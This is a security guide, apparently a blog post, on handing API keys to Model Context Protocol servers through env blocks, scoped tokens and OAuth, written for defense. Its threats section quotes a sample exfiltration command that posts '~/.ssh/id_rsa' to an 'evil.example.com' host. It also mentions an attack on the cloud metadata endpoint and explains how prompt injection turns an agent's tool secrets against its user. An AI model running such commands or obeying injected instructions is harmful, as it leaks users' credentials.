An MCP server gets its secrets from the host, not your shell. A Model Context Protocol server launched over stdio — Postgres, GitHub, Stripe, a filesystem bridge — inherits only a limited, platform-dependent subset of environment variables, so its API keys have to be handed in explicitly through an env block in the client config or a --env KEY=value flag. That key then sits inside an agent's reach: the MCP security spec (version 2025-11-25) treats prompt injection and over-broad tokens as first-class threats, because once an LLM can call a tool, a successful injection doesn't just produce bad text — it can drain whatever that server is authorized to touch. The .env rules you already know still apply; what changes is who reads the value and how far a single leaked token reaches.
TL;DR
- stdio MCP servers don't inherit your shell. Pass secrets via the
envobject inclaude_desktop_config.json/.mcp.json, orclaude mcp add --env KEY=value. - A
--scope project.mcp.jsonis committed and shared with the whole team — putting a raw key in it is a repo-wide leak. Reference${VAR}instead so the secret stays in each developer's environment. - Prompt injection is the #1 risk in the OWASP Top 10 for LLM Apps 2025. Scope every token to the minimum (read-only, single database, no
admin:*) so a successful injection has a small blast radius. - The env block is for local development. Production and remote servers belong behind OAuth 2.1 and a secrets manager — the spec explicitly forbids the token passthrough anti-pattern.
How do MCP servers receive environment variables?
When an MCP client spawns a local server over the stdio transport, it launches a subprocess and controls that process's environment block directly. Per the official MCP debugging guide, such servers “inherit only a limited subset of environment variables automatically (the exact set is platform-dependent).” If your server needs STRIPE_SECRET_KEY, you have to put it there yourself. The canonical place is an env object on the server entry:
{
"mcpServers": {
"stripe": {
"command": "npx",
"args": ["-y", "@stripe/mcp", "--tools=all"],
"env": {
"STRIPE_SECRET_KEY": "sk_test_abc123"
}
}
}
}Claude Code exposes the same thing through the CLI. The --env flag sets variables in the server's environment, and the -- double dash separates Claude's own options from the command that runs the server:
# Each --env takes one KEY=value; keep an option between --env and the name
claude mcp add --env AIRTABLE_API_KEY=YOUR_KEY --transport stdio airtable \
-- npx -y airtable-mcp-serverTwo gotchas bite immediately. First, the subprocess working directory is often undefined (it can be / on macOS), so a relative path to a .env file won't resolve — use absolute paths. Second, an unquoted # in a value gets truncated as a comment by most parsers, the same .env quoting rules you already follow.
Where do the secrets actually live — and leak?
Claude Code stores server config at one of three scopes, and the difference is a security boundary, not a convenience:
| Scope | Stored in | Who sees it | Safe for raw secrets? |
|---|---|---|---|
| local (default) | ~/.claude.json | Only you, this project | Tolerable — still plaintext on disk |
| project | .mcp.json (committed) | Everyone who clones the repo | No — this is a repo-wide leak |
| user | ~/.claude.json | You, across all projects | Tolerable — plaintext, broad reach |
The trap is --scope project. A .mcp.json is meant to be committed so the whole team gets the same servers — which means any key you inline is now in git history forever. The fix is variable expansion: keep the secret in each developer's shell or .env, and reference it from the committed file.
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_TOKEN": "${GITHUB_TOKEN}"
}
}
}
}Now the committed file carries a placeholder, not a credential. Add .env to .gitignore as always, and ship a .env.example so teammates know which variables the servers expect — the same hygiene covered in the environment variable security guide.
Why is handing a secret to an MCP server riskier than a .env file?
Because a normal app reads process.env and does exactly what you wrote. An MCP server hands its capabilities to a language model that also reads untrusted content — issues, web pages, PDFs, error payloads — and the model cannot reliably tell data from instructions. Prompt injection is ranked LLM01, the number-one risk, in the OWASP Top 10 for LLM Applications 2025. When the injected agent controls a tool, the secret you provided becomes the attacker's reach.
The MCP security spec catalogs the concrete failure modes, and they are not hypothetical:
- Local server compromise. A malicious startup command in a config can run with your privileges — the spec's own example is
curl -X POST -d @~/.ssh/id_rsa https://evil.example.com. An MCP server runs with the same privileges as the client. - SSRF to cloud metadata. A malicious remote server can steer a client toward
http://169.254.169.254/, the AWS/GCP/Azure metadata endpoint, exfiltrating IAM credentials the server never should have reached. - Token passthrough. The spec states MCP servers MUST NOT accept tokens not explicitly issued for them; doing so lets “a malicious actor in possession of a stolen token use the server as a proxy for data exfiltration.”
This isn't theoretical: CVE-2025-6514 showed a malicious server from a community registry achieving remote code execution on clients that connected to it. Vetting which server you hand a key to matters as much as the key itself — see how AI agents get compromised for the broader attack surface.
stdio vs Streamable HTTP: who holds the secret?
The transport decides where authentication lives. Local stdio servers take secrets through the env block; remote HTTP servers should use OAuth 2.1, not a bearer token baked into config.
| Aspect | stdio (local subprocess) | Streamable HTTP (remote) |
|---|---|---|
| Secret delivery | env block / --env | OAuth 2.1 token or auth header |
| Who stores the key | Your machine, plaintext config | Auth server issues short-lived tokens |
| Best for | Local dev, single user | Shared/production, many users |
| Main risk | Leaked plaintext key, broad scope | Confused deputy, token passthrough |
If you're writing the server rather than configuring one, the how to build an MCP server guide walks through both transports end to end.
How do you scope tokens so a compromise stays small?
The spec calls this scope minimization, and its reasoning is blunt: “poor scope design increases token compromise impact.” A broad token — files:*, db:*, admin:* — means a single successful injection gives an attacker lateral access across everything it touches. A narrow one fails closed.
- Issue purpose-built tokens. Generate a credential for this server alone — a read-only database role, a GitHub fine-grained PAT limited to one repo — not your personal admin key.
- Prefer read-only. If the agent only needs to query, don't grant write. The spec recommends a minimal initial scope set with incremental elevation, not everything up front.
- Keep raw keys out of committed config. Use
${VAR}expansion in.mcp.json; let the value live in a gitignored.envor your secrets manager. - Rotate on a schedule, and after any leak. A scoped token that rotates weekly is a far smaller liability than an omnipotent one that never changes.
- Approve before connecting. Project-scoped servers from
.mcp.jsonappear as Pending approval until you review them — read the command before you trust it, exactly the consent gate the spec mandates for one-click installs.
When should you not put a secret in the MCP env block?
- Production or shared servers — the env block is plaintext on one machine. Multi-user and production deployments belong behind OAuth 2.1 and a real secrets manager (Vault, AWS Secrets Manager, Doppler), not a config file.
- Anything in a committed
.mcp.json— never inline a raw key in a file that ships to the repo. Use${VAR}expansion so the secret stays local. - Long-lived, high-privilege credentials — if the only token you have is an admin master key, mint a scoped one first. Handing broad access to an injectable agent is the worst-case blast radius.
- Servers you haven't vetted — a key in the env block is readable by the server binary. If you don't trust the publisher (
CVE-2025-6514was a registry server), don't give it a live credential.
References
- MCP Debugging guide — environment variables — confirms stdio servers inherit only a limited env subset and shows the
envconfig block. - MCP Security Best Practices (spec 2025-11-25) — token passthrough, scope minimization, local server compromise, SSRF, and confused-deputy mitigations.
- Claude Code MCP reference —
claude mcp add --env, the--scopeflag, and.mcp.jsonbehavior. - OWASP Top 10 for LLM Applications 2025 — ranks Prompt Injection (LLM01) as the number-one risk for tool-using agents.
- CVE-2025-6514 — remote code execution from a malicious MCP server obtained through a community registry.
Need to hand a teammate a working .env for their MCP setup without pasting it into Slack? Use send.env.dev for a single-use, end-to-end encrypted link, or read the environment variable security guide for the full secrets-management picture.